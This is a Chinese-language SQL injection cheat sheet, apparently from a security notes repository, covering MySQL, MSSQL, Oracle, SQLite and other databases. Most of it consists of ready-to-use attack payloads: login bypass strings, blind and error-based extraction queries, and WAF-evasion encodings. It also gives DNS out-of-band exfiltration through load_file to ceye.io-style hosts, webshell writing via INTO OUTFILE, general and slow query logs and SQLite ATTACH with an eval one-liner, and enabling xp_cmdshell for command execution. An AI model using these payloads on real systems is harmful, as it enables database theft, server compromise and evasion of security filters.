Skip to content

Latest commit

 

History

History
901 lines (670 loc) · 30.8 KB

File metadata and controls

901 lines (670 loc) · 30.8 KB

SQLi


免责声明

本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.


大纲


教程

payload

在线 SQLi 测试

辅助工具

提权工具


SQL 注入常规利用思路

1. 寻找注入点,可以通过 web 扫描工具实现
2. 通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息.
3. 猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)
4. 可以通过获得的用户信息,寻找后台登录.
5. 利用后台或了解的进一步信息,上传 webshell 或向数据库写入一句话木马,以进一步提权,直到拿到服务器权限.

注入的分类

  • 基于响应类型

    • 报错
    • 联合查询
    • 堆叠注入
    • 盲注
      • 基于布尔
      • 基于时间
  • 基于数据类型

    • 字符型
    • 数字型
    • 搜索型
  • 基于语句类型

    • 查询型
    • 插入型
    • 删除型
  • 基于程度和顺序

    • 一阶注入 : 指输入的注入语句对 WEB 直接产生了影响,出现了结果;
    • 二阶注入 : 类似存储型 XSS,是指输入提交的语句,无法直接对 WEB 应用程序产生影响,通过其它的辅助间接的对 WEB 产生危害,这样的就被称为是二阶注入.
  • 基于注入点的位置

    • 通过用户输入的表单域的注入
    • 通过 cookie 注入
    • 通过服务器变量注入 : 例如基于头部信息的注入

注入检测

可以通过多种方式检测注入。其中最简单的方法是在各种参数后添加 '" 从而得到一个从 Web 服务器返回的数据库报错信息。

找注入点

  • GET - HTTP Request

    在常见的 HTTP GET 请求(以及大多数请求类型)中,有一些常见的注入点。例如:网址参数(下面的请求的 id),Cookie,host 以及任何自定义 headers 信息。然而,HTTP 请求中的任何内容都可能容易受到 SQL 注入的攻击。

    GET /?id=homePage HTTP/1.1      <-----注入点
    Host: www.xxx.com
    Connection: close
    Cache-Control: max-age=0
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
    Upgrade-Insecure-Requests: 1
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    X-Server-Name: xxxx             <-----注入点
    Cookie: user=xxxxx;             <-----注入点
    
  • POST - Form Data

    在具有 Content-Type 为 application/x-www-form-urlencoded 的标准 HTTP POST 请求中,注入将类似于 GET 请求中的 URL 参数。它们位 于HTTP 头信息下方,但仍可以用相同的方式进行利用。

    POST / HTTP/1.1
    Host: xxx.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 39
    username=xxx&email=xxx@xxx.com  <-----注入点
    
  • POST - JSON

    在具有 Content-Type 为 application/json 的标准 HTTP POST 请求中,注入通常是 JSON{"key":"value"} 对的值。该值也可以是数组或对象。虽然符号是不同的,但值可以像所有其他参数一样注入。(提示:尝试使用 ',但要确保 JSON 使用双引号,否则可能会破坏请求格式。)

    POST / HTTP/1.1
    Host: xxx.com
    Content-Type: application/json
    Content-Length: 56
    {
    "username":"xxx",               <-----注入点
    "email":"xxx@xxx.com"           <-----注入点
    }
    
  • POST - XML

    在具有 Content-Type 为 application/xml 的标准 HTTP POST 请求中,注入通常在一个内部。虽然符号是不同的,但值可以像所有其他参数一样注入。(提示:尝试使用 '

    POST / HTTP/1.1
    Host: xxx.com
    Content-Type: application/xml
    Content-Length: 79
    <root>
    <username>xxxxx</username>      <-----注入点
    <email>xxx@xxx.com</email>      <-----注入点
    </root>
    

检测注入

通过在应用程序中触发错误和布尔逻辑,可以最轻松地检测易受攻击的参数。提供格式错误的查询将触发错误,并且使用各种布尔逻辑语句发送有效查询将触发来自Web服务器的不同响应。

注:True 或 False 语句应通过 HTTP 状态码或 HTML 内容返回不同的响应。如果这些响应与查询的 True/False 性质一致,则表示存在注入。

  • 万能密码
    admin' --
    admin' #
    admin'/*
    ' or 1=1--
    ' or 1=1#
    ' or 1=1/*
    ') or '1'='1--
    ') or ('1'='1--
    ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
    
  • 逻辑测试
    • 1.php?id=1 or 1=1 -- true
    • 1.php?id=1' or 1=1 -- true
    • 1.php?id=1" or 1=1 -- true
    • 1.php?id=1 and 1=2 -- false
    • 1.php?id=1-false
    • 1.php?id=1-true
  • 算术
    • 1.php?id=1/1 -- true
    • 1.php?id=1/0 -- false
  • 基于盲注
  • 基于错误

判断数据库类型

  • 注释符判断 /* 是 MySQL 中的注释符,返回错误说明该注入点不是 MySQL,继续提交如下查询字符:- 是 Oracle 和 MSSQL 支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:;是子句查询标识符,Oracle 不支持多行查询,因此如果返回错误,则说明很可能是 Oracle 数据库。
  • 函数判断 and (select count()from MSysAccessObjects)>0 返回正常说明是 access 数据库, and (select count()from sysobjects)>0 返回正常说明是 mssql 数据库 and length(user())>10 返回正常说明是 Mysql Oracle 可以根据 from dual 虚拟库判断

MYSQL

靶场

相关文章

资源

MySQL 基础

注释

#       注释内容,表示单行注释
--      注意--后面有一个空格
/* */   多行注释

数据库名

SELECT database();
SELECT schema_name FROM information_schema.schemata;

表名

SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema!='information_schema' AND table_schema!='mysql';

-- union 查询
--MySQL 4版本时用version=9,MySQL 5版本时用version=10
UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;   /* 列出当前数据库中的表 */
UNION SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=database();   /* 列出所有用户自定义数据库中的表 */

-- 盲注
AND select SUBSTR(table_name,1,1) from information_schema.tables where table_schema=database() > 'A'

-- 报错
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));
-- 在5.1.5版本中成功。

列名

-- union 查询
UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'

-- 盲注
AND select substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'tablename' limit 0,1),1,1) > 'A'

-- 报错
-- 在5.1.5版本中成功
AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)
-- MySQL 5.1版本修复了
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));

-- 利用 PROCEDURE ANALYSE()
-- 这个需要 web 展示页面有你所注入查询的一个字段
-- 获得第一个段名
SELECT username, permission FROM Users WHERE id = 1; 1 PROCEDURE ANALYSE()
-- 获得第二个段名
1 LIMIT 1,1 PROCEDURE ANALYSE()
-- 获得第三个段名
1 LIMIT 2,1 PROCEDURE ANALYSE()

根据列名查询所在的表

-- 查询字段名为 username 的表
SELECT table_name FROM information_schema.columns WHERE column_name = 'username';
-- 查询字段名中包含 username 的表
SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%';

条件语句

SELECT IF(1=1, true, false);
SELECT CASE WHEN 1=1 THEN true ELSE false END;

延时函数

SELECT sleep(3)

UNION SELECT If(ascii(substr(database(),1,1))>115,0,sleep(5))

SELECT BENCHMARK(100000,SHA1('true'))

UNION SELECT IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)

order by 后的注入

order by 由于是排序语句,所以可以利用条件语句做判断,根据返回的排序结果不同判断条件的真假。一般带有 order 或者 order by 的变量很可能是这种注入,在知道一个字段的时候可以采用如下方式注入:

http://www.test.com/list.php?order=vote

-- 根据 vote 字段排序。找到投票数最大的票数 num 然后构造以下链接:

http://www.test.com/list.php?order=abs(vote-(length(user())>0)*num)+asc

-- 看排序是否变化。还有一种方法不需要知道任何字段信息,使用 rand 函数:

http://www.test.com/list.php?order=rand(true)
http://www.test.com/list.php?order=rand(false)

-- 以上两个会返回不同的排序,判断表名中第一个字符是否小于 128 的语句如下:

http://www.test.com/list.php?order=rand((select char(substring(table_name,1,1)) from information_schema.tables limit 1)<=128))

宽字节注入

国内最常使用的 GBK 编码,这种方式主要是绕过 addslashes 等对特殊字符进行转移的绕过。反斜杠 \ 的十六进制为 %5c,在你输入 %bf%27 时,函数遇到单引号自动转移加入 \,此时变为 %bf%5c%27,%bf%5c 在 GBK 中变为一个宽字符「縗」。%bf 那个位置可以是 %81-%fe 中间的任何字符。不止在 SQL 注入中,宽字符注入在很多地方都可以应用。

oob

select load_file('\\\\test.xxx.ceye.io\\abc');

select load_file(concat('\\\\',(select hex(database()),'.xxx.ceye.io\\abc'));
/*
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器.。UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。UNC路径就是类似\softer这样的形式的网络路径

格式: \servername\sharename ,其中 servername 是服务器名,sharename 是共享资源的名称。
目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename

上面的 payload 中 \\\\ 转义后即为 \\
select hex(database()) 为需要的查询语句,用 hex() 是因为构造 UNC 时不能有特殊符号,转化一下更好用。
.xxx.ceye.io\\abc 转义后就变成了 .xxx.ceye.io\abc
拼接起来后就成了 \\xxx.ceye.io\abc 完全符合 UNC 的路径标准,解析后在 DNSlog 平台就能看到数据了。
Linux 没有 UNC 路径,所以当处于 Linux 系统时,不能使用该方式获取数据
/*

如果不成功,可能是访问 oob 域名的流量被拦截了,也可能是由于没开启文件导入导出

show global variables like '%secure%';

-- 如果secure_file_priv的值为null,则没开启;如果为空,则开启;如果为目录,则说明只能在该目录下操作。
-- 通过设置my.ini来配置

文件导出

select '<? phpinfo(); ?>' into outfile 'D:/shell.php';

正则表达式攻击

在 MYSQL 5+ 中 information_schema 库中存储了所有的库名,表名以及字段名信息。

  1. 判断第一个表名的第一个字符是否是 a-z 中的字符,其中 blind_sqli 是假设已知的库名。

注:正则表达式中 ^[a-z] 表示字符串中开始字符是在 a-z 范围内

1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*
  1. 判断第一个字符是否是 a-n 中的字符
1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)/*
  1. 确定该字符为 n
1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n[a-z]' LIMIT 0,1) /*
  1. 表达式的更换如下
expression like this: '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE

这时说明表名为 news ,要验证是否是该表名 正则表达式为 '^news$',但是没这必要 直接判断 table_name = 'news' 即可。

  1. 接下来猜解其它表了

regexp 匹配的时候会在所有的项都进行匹配。例如:security 数据库的表有多个,users,email 等

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^u[a-z]' limit 0,1);     -- 是正确的

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);    -- 是正确的

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 0,1);    -- 是正确的

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 1,1);    -- 不正确

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 1,1);    -- 不正确

实验表名:在 limit 0,1 下,regexp 会匹配所有的项。我们在使用 regexp 时,要注意有可能有多个项,同时要一个个字符去爆破。类似于上述第一条和第二条。而 limit 0,1 对于 where table_schema='security' limit 0,1 来说 table_schema='security' 已经起到了限定作用了,limit 有没有已经不重要了。

日志 getshell

查询当前 mysql 下 log 日志的默认地址,同时也看下 log 日志是否为开启状态,并且记录下原地址,方便后面恢复。

-- 开启日志监测,一般是关闭的,如果一直开,文件会很大的。
set global general_log = on;

-- 这里设置我们需要写入的路径就可以了。
set global general_log_file = 'D:/shell.php';

-- 查询一个一句话,这个时候log日志里就会记录这个。
select '<?php eval($_POST['1']);?>';
-- 结束后,再修改为原来的路径。
set global general_log_file = 'D:\xampp\mysql\data\1.log';

-- 关闭下日志记录。
set global general_log = off;

慢查询日志

MySQL 的慢查询日志是 MySQL 提供的一种日志记录,它用来记录在 MySQL 中响应时间超过阀值的语句。

对日志量庞大,直接访问日志网页极有可能出现 500 错误。通过开启慢查询日志,记录了超时 10s 的 SQL,这样页面的代码量会减轻很多不易导致 500, 配置可解析日志文件 GETSHELL。

show variables like '%slow%';

long_query_time 的默认值为 10,意思是运行 10S 以上的语句。该值可以指定为微秒的分辨率。具体指运行时间超过 long_query_time 值的 SQL,则会被记录到慢查询日志中。

set GLOBAL slow_query_log_file='C:/phpStudy/PHPTutorial/WWW/slow.php';
set GLOBAL slow_query_log=on;
set GLOBAL log_queries_not_using_indexes=on;
select '<?php phpinfo();?>' from mysql.db where sleep(10);

bypass 技巧

常见的绕过技巧

# 双写
❌ select
✔ seselectlect

# 大小写
❌ select
✔ SElect

# 负数
❌ ?id=1 ANd 1=1
✔ ?id=1 ANd -1=-1

# 小数点
❌ WHERE id= '1'
✔ WHERE id= '1.0test'

# +号连接绕过
❌ ?id=1 ANd 1=1
✔ ?id=1+and+1=1
✔ ?id=1+union+select+1+2

# 无闭合
❌ ?id=1 and 1=1
✔ ?id=1 --+/*%0aand 1=1 --+*/

# 有闭合
❌ ?id=1 and 1=1
✔ ?id=1 --+/*%0a'and 1=1 --+ --+*/
✔ ?id=1 --+/*%0aand 1=1 --+*/
✔ ?id=1 --+/*%0a'and 1=1 --+ --+*

# %09、%0a、%0b、%0c、%0d、%a0 替换 %20
❌ and false union select 1,2,......,31--
✔ and%0afalse%0aunion%0aselect%0a1,2,......,31--+

# URL 编码
❌ ?id=1 union select pass from admin limit 1
✔ 1%20union%20select%20pass%20from%20admin%20limit%201

❌ ?id=1 or 1
✔ ?id=1%27or%271           #字符型注入
✔ ?id=1%20or%201           #数字型注入

函数替换

  • 连接

    and length(database())=7
    && length(database())=7
    %26%26 length(database())=7
    HAVING length(database())=7
    
    or 1=1
    || 1=1
    %7C%7C 1=1
    %7C%7C 1 LIKE 1
  • benchmark 代替 sleep

    id=1 and if(ascii(substring((database()),1,1))=115,(select benchmark(1000000,md5(0x41))),1) --+
  • 字符串截取函数

    Mid(version(),1,1)
    Substr(version(),1,1)
    Substring(version(),1,1)
    Lpad(version(),1,1)
    Rpad(version(),1,1)
    Left(version(),1)
    reverse(right(reverse(version()),1))
  • 字符串连接函数

    concat(version(),'|',user());
    concat_ws('|',1,2,3)
  • 字符转换/编码

    Char(49)
    Hex(‘a’)
    Unhex(61)
    Ascii(1)
    

函数与括号之间

# 函数与括号之间可添加空格、换行、注释
❌ select version()
✔ select version ()
✔ select version/**/()
✔ select version
#123
()

执行语句之间

# 执行语句之间的空格,可用注释符、"换行%0a"替换
❌ select version()
✔ select/**/version()
✔ select#123
version()
✔ select-- 123
version()

括号包裹

# 逻辑判断式1>1、'a'='b',from后的表格名,select语句,可用括号包裹
✔ select * from (test)
✔ select * from (test) where (id=1)
✔ select * from (test) where (id=1) union (select * from (test) where (id=2));

省略空格

# 单双引号'"、括号()、反单引号``、星号*、与语句之间可以没有空格
✔ select*from(test)
✔ select*from(test)where(id=1)
✔ select*from(test)where(id=1)union(select*from(test)where(id=2));

注释配合换行符

# order by 1
❌ ?id=1'order by id#
✔ ?id=1%27order%20by%20id%23
✔ ?id=1%27order%23/*%99%0aby%23/*%99%0a4%23
✔ ?id=1%20order%23/*%99%0aby%23/*%99%0aid%23
✔ ?id=1%20order%23/*%99%0aby%23/*%99%0a4%23

# union select x from x
❌ ?id=union select
✔ ?id=union%23/*%99%0aselect
✔ ?id=union--%20%0d%0a%23/*%99%0aselect
✔ ?id=union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aa,2,asd
✔ ?id=union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0a1,id,3%20from%20users
✔ ?id=1%27union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0a1,id,3%20from%20users%23%27
✔ ?id=1%20union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0a1,id,3%20from%20users%23
✔ ?id=1%27union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0a1,%23/*%99%0auser(),3%20from%20users%23

# load_file()
# 规避常规的 dnslog 站点, 最好自建 dnslog 服务
❌ ?id=1'union select load_file("//123.xxx.com/abc")#
✔ ?id=1%27union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%22//123.xxx.com/abc%22)%23
✔ ?id=1%27%26%26(--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%22//123.xxx.cn/abc%22))%23
✔ ?id=1%27%26%26(--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%23/./%23/*%99%0a))%23
✔ ?id=1%27%26%26(--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%23/./%23/*%99%0d%0aconcat(%27//%27,(%23%0aselect%23/*%99%0a111),%27.123.text.com/abc%27)))%23
✔ ?id=1%20%26%26(--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%23/./%23/*%99%0d%0aconcat(%27//%27,(%23%0aselect%23/*%99%0a111),%27.123.text.com/abc%27)))%23

# concat()
❌ ?id=concat('//',(select 123),".123.test.com/abc")
✔ ?id=concat(%27//%27,(select%23/*%99%0a123),%22.123.test.com/abc%22)

# updatexml()
❌ ?id=updatexml(1,1,1)
✔ ?id=updatexml%23/*%99%0a(1,1,1)
✔ ?id=1%27and%20updatexml%23/*%99%0a(1,1,1)%23%27
✔ ?id=1%20and%20updatexml%23/*%99%0a(1,1,1)

❌ ?id=updatexml(0,(select a),'a)')
✔ ?id=updatexml%23/*%99%0d%0a(0,(%23/*%99%0d%0aselect%0aa),%27a)%27)
✔ ?id=1%27%26%26updatexml%23/*%99%0d%0a(0,(%23%0aselect%23/*%99%0a111),%27a)%27)%23
✔ ?id=1%20and%20updatexml%23/*%99%0d%0a(0,(%23%0aselect%23/*%99%0a111),%27a)%27)%23

?id=1' and updatexml(0,concat#concat)('//~',(select 123),0x7e),'a)')#
?id=1%27%26%26updatexml%23/*%99%0d%0a(0,concat%0a%23concat)%0d%0a(%27//~%27,(select%23/*%99%0a123),0x7e),%27a)%27)%23
?id=1%20and%20updatexml%23/*%99%0d%0a(0,concat%0a%23concat)%0d%0a(%27//~%27,(select%23/*%99%0a123),0x7e),%27a)%27)%23

绕过引号限制

-- hex 编码
SELECT * FROM Users WHERE username = 0x61646D696E
-- char() 函数
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)

绕过字符串黑名单

SELECT 'a' 'd' 'mi' 'n';
SELECT CONCAT('a', 'd', 'm', 'i', 'n');
SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');
SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');

-- 使用 CONCAT() 时,任何个参数为 null,将返回 null,可以使用 CONCAT_WS()。CONCAT_WS()函数第一个参数表示用哪个字符间隔所查询的结果。

json 函数

MySQL 5.7.8 开始新增了很多操作 json 数据的函数

JSON_TYPE()
-- 此函数获取JSON值的类型,当我们传入的值不属于json格式则报错。
JSON_TYPE(version())

JSON_EXTRACT()
-- 此函数从 JSON 文档中返回数据,从与path参数匹配的文档部分中选择,当第一个参数不是json类型的值则报错
JSON_EXTRACT(version(), '$[1]')
JSON_EXTRACT((select user()),'$.a')

JSON_ARRAY_APPEND()
-- 将值附加到 JSON 文档中指定数组的末尾并返回结果,报错输出原理和json_extract函数相同。
select JSON_ARRAY_APPEND(version(),1,1);
select JSON_ARRAY_APPEND('[1,2]',version(),1);

MSSQL

基于ASP / ASPX的应用程序一般都是 MSSQL。

学习资源

靶场

相关文章

相关案例

MSSQL 基础

基本参数

@@version       -- 数据库版本
user            -- 获取当前数据库用户名
db_name()       -- 当前数据库名 其中db_name(N)可以来遍历其他数据库
;select user    -- 查询是否支持多语句
@@servername    -- 服务器名称

正则表达式攻击

MSSQL 所用的正则表达式并不是标准正则表达式 ,该表达式使用 like 关键词

1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" and table_name LIKE '[a-z]%' )

该查询语句中,select top 1 是一个组合,不要看错了。

如果要查询其它的表名,由于不能像 mysql 那样用 limit x,1,只能使用 table_name not in (select top x table_name from information_schema.tables) 意义是:表名没有在前 x 行里,其实查询的就是第 x+1 行。

例如查询第二行的表名:

1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" and table_name NOT IN ( SELECT TOP 1 table_name FROM information_schema.tables) and table_name LIKE '[a-z]%' )

表达式的顺序:

'n[a-z]%' -> 'ne[a-z]%' -> 'new[a-z]%' -> 'news[a-z]%' -> TRUE

之所以表达式 news[a-z] 查询后返回正确是应为 % 代表 0-n 个字符,使用 "_" 则只能代表一个字符。故确认后续是否还有字符可用如下表达式

'news%' TRUE -> 'news_' FALSE

同理可以用相同的方法获取字段,值。这里就不再详细描述了。

xp_cmdshell

-- SQL Server 阻止了对组件 ‘xp_cmdshell’ 的 过程’sys.xp_cmdshell’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ‘xp_cmdshell’。有关启用 ‘xp_cmdshell’ 的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”。

-- 关闭
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;
-- 开启
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
-- 标记message: 配置选项 ‘xp_cmdshell’ 不存在,也可能是高级选
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'user connections',1;RECONFIGURE;--
exec master..xp_cmdshell 'cmd /c whoami'

bypass 技巧

select from 后的位置

  • 空白符号

    01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
    

    需要做 urlencode,sqlserver 中的表示空白字符比较多,靠黑名单去阻断一般不合适.

  • 注释符号

    Mssql 也可以使用注释符号 /**/

  • . 符号

  • :

select from 之间的位置

  • 空白符号
  • 注释符号
  • :

and 之后的位置

  • 空白符号

  • 注释符号

  • :

  • %2b

常见过滤函数

  • 字符串截取函数

    Substring(@@version,1,1)
    Left(@@version,1)
    Right(@@version,1)
    
  • 字符串转换函数

    Ascii(‘a’) 这里的函数可以在括号之间添加空格的, 一些 waf 过滤不严会导致 bypass
    Char(‘97’)
    
  • Mssql 支持多语句查询,因此可以使用;结束上面的查询语句,然后执行自己构造的语句.动态执行.

    使用 exec 的方式:

    使用 sp_executesql 的方式:


oracle

相关案例

bypass 技巧

oracle 中文版中,中文括号 ( )可以代理英文且不报错

select (1+1) from test;

H2 database

相关文章


BigQuery

相关文章

Playground

信息收集

SELECT * FROM INFORMATION_SCHEMA.SCHEMATA
select @@project_id
select session_user()

SQLite

SQLite 是一个进程内的库,实现了自给自足的、无服务器的、零配置的、事务性的 SQL 数据库引擎。它是一个零配置的数据库,这意味着与其他数据库不一样,你不需要在系统中配置。

SQLite 数据库的特点是它每一个数据库都是一个文件,当你查询表的完整信息时会得到创建表的语句。

相关文章

SQLite 基础

注释

;       注释内容,表示单行注释
--      注意--后面有一个空格
/* */   多行注释

查看版本

select sqlite_version();

查询表名和列名

select sql from sqlite_master

布尔盲注

布尔盲注通过查询正确和错误返回的页面不同来判断数据内容。

SQLite不支持ascii,所以直接通过字符去查询,这里和mysql不同,这个区分大小写。也没有mid,left等函数。

-1' or substr((select group_concat(sql) from sqlite_master),1,1)<'a'/*

时间盲注

SQLite没有sleep()函数,但可以用randomblob(N)函数,randomblob(N) 函数,其作用是返回一个 N 字节长的包含伪随机字节的 BLOG。N 是正整数。可以用它来制造延时。SQLite没有if,所以需要使用case……when来代替。

-1' or (case when(substr(sqlite_version(),1,1)>'3') then randomblob(300000000) else 0 end)/*

写 webshell

SQLite 的 ATTACH DATABASE 语句是用来选择一个特定的数据库,使用该命令后,所有的 SQLite 语句将在附加的数据库下执行。

ATTACH DATABASE file_name AS database_name;

如果附加数据库不存在,就会创建该数据库,如果数据库文件设置在web目录下,就可以写入webshell。

ATTACH DATABASE '/var/www/html/shell.php' AS shell;
create TABLE shell.exp (webshell text);
insert INTO shell.exp (webshell) VALUES ('<?php eval($_POST[a]);?>');